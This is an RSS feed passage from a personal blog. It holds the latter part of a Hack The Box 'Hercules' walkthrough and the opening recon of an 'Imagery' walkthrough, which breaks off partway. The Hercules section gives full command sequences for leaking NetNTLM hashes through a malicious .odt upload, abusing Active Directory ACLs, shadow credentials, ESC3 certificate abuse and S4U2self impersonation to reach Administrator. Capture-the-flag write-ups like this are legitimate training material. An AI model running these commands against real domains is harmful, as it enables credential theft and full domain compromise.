&lt;p&gt;&lt;img src=&quot;attachments/22b29e0b411cf0f30ac9af9997139efd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;File Upload Attack - Leaking NetNTLM Creds&lt;/h3&gt;
&lt;p&gt;We now get access to the &lt;strong&gt;Forms&lt;/strong&gt; tab where we can abuse the file upload:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a5db950a16b11d73043df83da53f8250.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;a href=&quot;https://github.com/lof1sec/Bad-ODF/tree/main&quot;&gt;this script&lt;/a&gt; we&apos;re able to create a malicious &lt;code&gt;.odt&lt;/code&gt; file. When uploaded this will ping our listener, e.g. &lt;code&gt;responder&lt;/code&gt; in my case which will leak the NTLM creds of the user&apos;s account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d260a0421619949ae90bfdf7eb03ad7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m venv venv
source venv/bin/activate
uv pip install ezodf lxml
python3 Bad-ODF.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e996f128d7c00c9bc7363bc8e24cdc1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After inputting my listener I uploaded the file and launched &lt;code&gt;responder&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/521e2b96add346bf896561a7b30492b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d5fc46d7d700d6d63b2b7fad5ea79e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After a short while this was the output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6ac348d78beab71e120e1f9ac319db03.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;john&lt;/code&gt; I quickly cracked the password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d6f3d896f2ea1953c03a9c05f3d5eb50.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;natalie.a
Prettyprincess123!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;Using these creds I enumerated the domain using &lt;code&gt;bloodhound&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ea3cd00b09c76ac9d3139e51da6dec9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
In hindsight I could&apos;ve also done this using the creds for &lt;code&gt;ken.w&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a13c2a0ceeb25fea07176822109ba501.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;I then launched &lt;code&gt;bloodhound&lt;/code&gt; and ingested the files:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/716255d3ace5344c8ff734b70caa9848.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then added my owned users and started enumerating the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a50a47bfc868f02427208a9f807b3496.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For some reason it didn&apos;t fully show up as it should, this was due to a ingest error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4f0ca5b31ebf05fd344516283871c389.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently the groups didn&apos;t fully upload. I tried resetting the machine but it didn&apos;t do anything so I went on to use &lt;code&gt;ldapsearch&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;Using the following command I enumerated what groups &lt;em&gt;natalie.a&lt;/em&gt; was part of:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldapsearch -x -H ldap://10.10.11.91 -D &quot;natalie.a@hercules.htb&quot; -w &apos;Prettyprincess123!&apos; -b &quot;DC=hercules,DC=htb&quot; &quot;(sAMAccountName=natalie.a)&quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fdf6b07e26e4924bc7e00e41b0065290.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This group didn&apos;t contain anyone useful but when I looked further I found someone who was:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7029520d9cfe516685e8c134beeb6206.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And it then turned out that using the &lt;strong&gt;Web Support&lt;/strong&gt; group, the user &lt;em&gt;natalie.a&lt;/em&gt; has &lt;strong&gt;GenericWrite&lt;/strong&gt; privileges over &lt;em&gt;bob.w&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc.hercules.htb -d &apos;hercules.htb&apos; -u &apos;natalie.a&apos; -k get writable 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/488b8d5800757b33aacd5409ead45513.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shadow Certificate&lt;/h2&gt;
&lt;h3&gt;certipy-ad&lt;/h3&gt;
&lt;p&gt;We will first have to obtain a tgt for &lt;em&gt;natalie.a&lt;/em&gt; as NTLM creds won&apos;t work.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4482b9e3023766d7aee9134786a2962b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly we can execute the following command with &lt;code&gt;certipy-ad&lt;/code&gt; in order to fetch the NT hash for &lt;em&gt;bob.w&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/32031b7413d43c5d1e5ec75a8f3f834d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This hash did not turn out to be crackable, but instead we can request another tgt but for &lt;em&gt;bob.w&lt;/em&gt; this time around.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f32f7a417830466f38ad2413a4f8e4b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;bloodyAD&lt;/code&gt; we will check out what we can do with the &lt;em&gt;bob.w&lt;/em&gt; user:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc.hercules.htb -d &apos;hercules.htb&apos; -u &apos;bob.w&apos; -k get writable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2563590eea1027fc1fbaa14f49d7384.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Amongst many others these stood out. Furthermore we noticed this user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bd43622ef3a3f44ce95305a4e2ba1e12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;re gonna go ahead and transfer them to the &lt;strong&gt;Web Department&lt;/strong&gt; since that group has higher privs. To do this we&apos;ll be using the &lt;code&gt;powerview.py&lt;/code&gt; tool,&lt;/p&gt;
&lt;h2&gt;Powerview&lt;/h2&gt;
&lt;p&gt;We install the tool as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv tool install git+https://github.com/aniqfakhrul/powerview.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9ed7c3836a583ccfbda0e939afea503b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we use the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powerview hercules.htb/bob.w@dc.hercules.htb -k --use-ldaps --dc-ip 10.10.11.91 -d --no-pass
Set-DomainObjectDN -Identity stephen.m -DestinationDN &apos;OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/956818aefb473d4b8110ee6263d6ca9b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since the &lt;em&gt;stephen.m&lt;/em&gt; user is now modified under the &lt;strong&gt;Web Department&lt;/strong&gt; we&apos;ll need to request his shadow cert using &lt;em&gt;natalie.a&lt;/em&gt;, and afterwards request his TGT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad shadow -u &apos;natalie.a@hercules.htb&apos; -account &apos;stephen.m&apos; auto -dc-host dc.hercules.htb -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/00bd01ca7f548b8e905ee2226db315e4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT &apos;hercules.htb/stephen.m&apos; -hashes :9aaaedcb19e612216a2dac9badb3c210 -dc-ip 10.10.11.91
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9a06b154b8461340325addfe74d49e1e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we can use &lt;code&gt;powerview&lt;/code&gt; again to change the password of &lt;em&gt;Auditor&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powerview hercules.htb/stephen.m@dc.hercules.htb -k --use-ldaps --dc-ip 10.10.11.91 -d --no-pass
Set-DomainUserPassword -Identity Auditor -AccountPassword &apos;P@ssword123&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/34244ffe604a3f0f3dfb2bdfcf83782e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can go ahead and request the ticket for the modified &lt;em&gt;Auditor&lt;/em&gt; user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/191382b6be6925bbd4cba91fd404d099.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;5986/TCP - WINRMS&lt;/h2&gt;
&lt;p&gt;:::important
For the following I used &lt;a href=&quot;https://github.com/ozelis/winrmexec&quot;&gt;this python binary&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1768403a1aaeee5565ccc02cf3f39f9a.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;Finally we get access as the &lt;em&gt;Auditor&lt;/em&gt; user with the following &lt;code&gt;winrmexec&lt;/code&gt; command:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f720a2bbde932a10d1356ed2ee3899c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;Luckily for us the &lt;code&gt;user.txt&lt;/code&gt; flag was up for grabs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d35697a45cebdfd9035281477b1fad8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;Since my &lt;code&gt;bloodhound&lt;/code&gt; was sub-optimal I tried to collect data fresh from the target using &lt;code&gt;sharphound&lt;/code&gt;, but the host flagged it as a virus:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4dd6f5d757203eb7ceff2d922fa57af.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then started doing some basic enum commands in order to find out more about the environment and the user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0a02f95eda331243dabc4475496dad35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a6d5af02d98b0627f6a45a972149a0cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turns out the &lt;em&gt;Auditor&lt;/em&gt; user is part of the &lt;strong&gt;Forest Management&lt;/strong&gt; group.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/46665395cb4f7c1c4949f6b16cf6246e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Forest Migration OU&lt;/h3&gt;
&lt;p&gt;We can check the ACL&apos;s of the &lt;strong&gt;Forest Migration&lt;/strong&gt; OU:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(Get-ACL &quot;AD:OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb&quot;).Access | Where-Object { $_.IdentityReference -like &quot;*Forest Management*&quot; } | Format-List *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97f3d1635450429469eb0a419848d711.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Having found this we&apos;ll want to use &lt;code&gt;bloodyAD&lt;/code&gt; again in order to set our &lt;em&gt;Auditor&lt;/em&gt; user as owner of the &lt;strong&gt;Forest Migration&lt;/strong&gt; OU:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc.hercules.htb -d &apos;hercules.htb&apos; -u Auditor -k set owner &apos;OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB&apos; Auditor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d08fd96ea183e59c2fadb6ea5b53ef2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards we&apos;ll want to add the &lt;code&gt;GenericAll&lt;/code&gt; privs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc.hercules.htb -d &apos;hercules.htb&apos; -u Auditor -k add genericAll &apos;OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB&apos; Auditor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/385fea05d41383e4916a1c21a23aabb3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I enumerated the users within the &lt;strong&gt;Forest Migration&lt;/strong&gt; OU:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-ADUser -SearchBase &quot;OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb&quot; -Filter *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e466a70badecbab3caf3b749f05270c8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I enumerated the found users, one stood out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/633542157e8dc88bccbffec6b0210dbf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Enabling fernando.r account&lt;/h3&gt;
&lt;p&gt;Since the account is disabled we&apos;ll need to enable it first using &lt;code&gt;powerview&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powerview hercules.htb/Auditor@dc.hercules.htb -k --use-ldaps --dc-ip 10.10.11.91 -d --no-pass
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Add-DomainObjectAcl -TargetIdentity &quot;OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB&quot; -PrincipalIdentity auditor -Rights fullcontrol -Inheritance
Set-DomainUserPassword -Identity fernando.r -AccountPassword &apos;P@ssword123&apos;
Set-ADUser -Identity &quot;fernando.r&quot; -Enabled $true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f50615cd747399a05a34509284f8f784.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/30cd551ac3ebb47de2c02e507c31a4b1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then from our other terminal:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e528817347fe0e80fa8f4890969cf8bb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ESC3&lt;/h2&gt;
&lt;p&gt;Now we&apos;ll request the TGT for &lt;em&gt;fernando.r&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT &apos;hercules.htb/fernando.r&apos;:&apos;P@ssword123&apos; -dc-ip 10.10.11.91
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2ac97a2cfdbe258d3f8d47b6e6c2490.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In turn I used the following to find the &lt;strong&gt;ESC3 - ADCS&lt;/strong&gt; vulnerability on the target:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -k -dc-ip 10.10.11.91 -target dc.hercules.htb -stdout -vulnerable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/947e9a35032dca42da6166fcae0121f1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7827d3a6d720ca62b9b86543acd9910.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is good news, we can abuse the permissions on the &lt;strong&gt;Enrollment Rights&lt;/strong&gt; template using &lt;code&gt;certipy-ad&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &quot;fernando.r@hercules.htb&quot; -k -no-pass -dc-host dc.hercules.htb -dc-ip 10.10.11.91 -target &quot;dc.hercules.htb&quot; -ca &apos;CA-HERCULES&apos; -template &quot;EnrollmentAgent&quot; -application-policies &quot;Certificate Request Agent&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4f168ff69b097b2a3f87ff75839f92c4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we will enroll the &lt;em&gt;ashley.b&lt;/em&gt; user:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &quot;fernando.r@hercules.htb&quot; -k -no-pass -dc-host dc.hercules.htb -dc-ip 10.10.11.91 -target &quot;dc.hercules.htb&quot; -ca &apos;CA-HERCULES&apos; -template &quot;User&quot; -on-behalf-of &apos;HERCULES\ashley.b&apos; -pfx fernando.r.pfx -dcom
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5db457b2c112f213ef45a1f079cf1c9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;re gonna pass on the cert.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx ashley.b.pfx -dc-ip 10.10.11.91
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2c31728755d0cc6464c248d810eb5f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards we&apos;re gonna request a TGT ticket again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ed7b7f5467d11cfad1b637b9c1ee7467.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now go ahead and login.&lt;/p&gt;
&lt;h2&gt;Lateral Movement to ashley.b&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d17c14b19bd39c57b86799e17edf5ec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After logging in I enumerated the user&apos;s home directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/233303f32b0c2cf36776843b3e0b2635.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Multiple &lt;code&gt;powershell&lt;/code&gt; scripts were discovered. I viewed these one by one.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Desktop&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b3c2f963e733c873182304a020354041.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Mail&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/80fc70b136dfc56f87302f98cdebbf18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Scripts&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c73cfbef339b70a133fcd9ca70d55fd4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enabling iis_administrator account&lt;/h2&gt;
&lt;p&gt;:::note
This is the same as [[#Enabling fernando.r account]] but this time around from &lt;code&gt;linux&lt;/code&gt; using &lt;code&gt;bloodyAD&lt;/code&gt;, this is simply because it did not work for me using &lt;code&gt;powerview&lt;/code&gt; here.
:::&lt;/p&gt;
&lt;p&gt;We&apos;re gonna be running the &lt;code&gt;aCleanup.ps1&lt;/code&gt; script.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b86d7a820d9202c13b92de457c56021d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we&apos;re gonna abuse the &lt;code&gt;GenericAll&lt;/code&gt; privs again from the &lt;strong&gt;Forest Migration&lt;/strong&gt; OU of &lt;em&gt;Auditor&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host &apos;dc.hercules.htb&apos; -d &apos;hercules.htb&apos; -u &apos;auditor&apos; -k add genericAll &apos;OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb&apos; &apos;IT SUPPORT&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9722a01593da32da654c2f4de38567d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;ll want to focus on taking over the &lt;em&gt;IIS_Administrator&lt;/em&gt; account.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host &apos;dc.hercules.htb&apos; -d &apos;hercules.htb&apos; -u &apos;auditor&apos; -k add genericAll &apos;OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb&apos; Auditor
bloodyAD --host DC.hercules.htb -d hercules.htb -u &apos;Auditor&apos; -k remove uac &quot;IIS_Administrator&quot; -f ACCOUNTDISABLE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9363fe6d0fbb412d9a3fe28a6f49b6c7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
If the latter command fails for whatever reason, execute the &lt;code&gt;aCleanup.ps1&lt;/code&gt; script again and repeat the commands.
:::&lt;/p&gt;
&lt;p&gt;We will now be changing the password for the &lt;em&gt;IIS_Administrator&lt;/em&gt; user:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host DC.hercules.htb -d hercules.htb -u &apos;Auditor&apos; -k set password &quot;IIS_Administrator&quot; &quot;P@ssword123&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2de42e85f62a913ba55ca0348ded5fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Following up we will yet again request the TGT:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT &apos;hercules.htb/IIS_Administrator&apos;:&apos;P@ssword123&apos; -dc-ip 10.10.11.91
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29b9dfd8d0a8c98f611755b435078be5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Changing iis_webserver$ password&lt;/h2&gt;
&lt;p&gt;Now we&apos;re gonna go ahead and change the password for the &lt;em&gt;iis_webserver$&lt;/em&gt; machine account.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host DC.hercules.htb -d hercules.htb -u &apos;IIS_Administrator&apos; -k set password &quot;IIS_Webserver$&quot; &quot;P@ssword123&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f8f37a87c3b4072101a67c17ec975bee.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly we request the TGT again, but with a slight twist. We need to request the TGT using a hash.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iconv -f ASCII -t UTF-16LE &amp;lt;(printf &apos;P@ssword123&apos;) | openssl dgst -md4
impacket-getTGT &apos;hercules.htb/IIS_Webserver$&apos;:&apos;P@ssword123&apos; -dc-ip 10.10.11.91
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e78495e2e584d8ee78e3bff5fdbe442.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then use the &lt;code&gt;describeTicket&lt;/code&gt; tool from &lt;code&gt;impacket&lt;/code&gt; to view the session key:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/480c199729b3d642a75fb94ae76f4f09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards we use the &lt;code&gt;changepasswd&lt;/code&gt; tool to change the password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f0c7a5d1177a68dcd0e219f903f9e33.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;S4U2SELF Abuse - Impersonating Administrator&lt;/h2&gt;
&lt;p&gt;We can then request a CIFS impersonating the &lt;em&gt;Administrator&lt;/em&gt; user.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getST -u2u -impersonate &quot;Administrator&quot; -spn &quot;cifs/dc.hercules.htb&quot; -k -no-pass &apos;hercules.htb&apos;/&apos;IIS_Webserver$&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8f32357b8fb0c9bea5eb93c2315591f9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After exporting the ticket we can log in, smooth sailing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/019cd568de970cc192d04adb92c7a94c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/832410ceda0cdf5ae27042841109b2d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f9208f81dc6ba1818e495fb493f66136.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Imagery</title><link>https://maxk9999.vercel.app/posts/imagery</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/imagery</guid><pubDate>Thu, 20 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.88
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sV -sC -sT -p- imagery.htb -T5 --min-rate=5000 -vvvv -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    syn-ack Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
9001/tcp open  http    syn-ack SimpleHTTPServer 0.6 (Python 3.12.7)
|_http-title: Directory listing for /
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We notice 2 &lt;code&gt;python&lt;/code&gt; webservers running as well as a &lt;code&gt;ssh&lt;/code&gt; port.&lt;/p&gt;
&lt;p&gt;I quickly check out both to see the difference:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e15df915df9a0bed8447fb73367d551.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e0c7b3cfc164f0744c43b8f4ffaab52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I download the &lt;code&gt;.zip&lt;/code&gt; and head on over to the &lt;code&gt;8000&lt;/code&gt; port.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d40414f1fe3c03e2bac408ae8c8e4179.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I couldn&apos;t access the &lt;code&gt;.zip&lt;/code&gt; yet since it&apos;s encrypted with an &lt;code&gt;AES&lt;/code&gt; encryption which meant we&apos;d need the password first.&lt;/p&gt;
&lt;h2&gt;8000/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;I can register for an account here:&lt;/p&gt;
